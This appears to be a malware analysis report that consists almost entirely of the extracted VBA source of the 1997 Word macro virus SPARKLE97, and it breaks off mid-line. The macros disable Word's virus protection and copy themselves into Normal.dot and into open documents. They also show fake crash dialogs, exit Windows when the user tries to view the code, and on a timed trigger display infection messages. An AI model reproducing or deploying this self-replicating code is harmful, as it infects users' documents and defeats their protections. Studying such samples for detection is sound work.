Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit


Attribute VB_Name = "Sparkle"
Sub FileSave()
    On Error GoTo Error
    Application.ScreenUpdating = False
    Application.DisplayAlerts = wdAlertsNone
    WordBasic.DisableAutoMacros 0
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False

    For I = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(I).Name = "Sparkle" Then
            DocumentInstalled = True
        End If
        Next
    For J = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(J).Name = "Sparkle" Then
            GlobalInstalled = True
        End If
        Next
    If DocumentInstalled = False Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Sparkle", Object:=wdOrganizerObjectProjectItems
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="userform999", Object:=wdOrganizerObjectProjectItems
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="userform900", Object:=wdOrganizerObjectProjectItems
    With ActiveDocument
        .BuiltInDocumentProperties(wdPropertyTitle) = "SPARKLE97"
        .BuiltInDocumentProperties(wdPropertySubject) = "Word Macro Virri"
        .BuiltInDocumentProperties(wdPropertyAuthor) = "Talon 1997"
        .BuiltInDocumentProperties(wdPropertyManager) = "Talon 1997"
        .BuiltInDocumentProperties(wdPropertyCompany) = "Eifel Epidemic"
        .BuiltInDocumentProperties(wdPropertyComments) = "This Word Macro Virus Was Made By Talon"
         End With
        End If
    If GlobalInstalled = False Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Sparkle", Object:=wdOrganizerObjectProjectItems
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="userform999", Object:=wdOrganizerObjectProjectItems
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="userform900", Object:=wdOrganizerObjectProjectItems
        End If

Sparkle
Error:
End Sub
Sub Toolsmacro()
On Error GoTo Error
userform999.Show
Error:
End Sub
Sub Filetemplates()
On Error GoTo Error
userform900.Show
Error:
End Sub
Sub Sparkle()
On Error GoTo Error
If WeekDay(Now()) = 2 And Hour(Now()) = 9 Then
With ActiveDocument.Content
    .Font.Animation = wdAnimationSparkleText
Application.StatusBar = True
StatusBar = "Your Infected With The Word Macro Virus SPARKLE97, Talon"
Application.Caption = "Your Infected With The Word Macro Virus SPARKLE97, Talon"
End With
End If
ActiveDocument.SaveAs FileName:=ActiveDocument.Name, FileFormat:=wdFormatTemplate
Error:
End Sub
Sub ViewVbCode()
MsgBox "This program has performed an illegal operation and will shut down.", vbCritical, "Microsoft Word"
Tasks.ExitWindows
End Sub

Attribute VB_Name = "userform999"
Attribute VB_Base = "0{77DA0ACF-C32C-11D0-B4FA-444553540000}{77DA0AC9-C32C-11D0-B4FA-444553540000}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub ListBox2_Click()
MsgBox "This program has performed an illegal operation and will shut down.", vbCritical, "Microsoft Word"
Unload userform999
End Sub
Private Sub UserForm_Initialize()
    ComboBox1.AddItem "Normal.dot(global template)"
End Sub
Private Sub CommandButton2_Click()
Unload userform999
End Sub
Private Sub CommandButton5_Click()
MsgBox "This program has performed an illegal operation and will shut down.
... (truncated)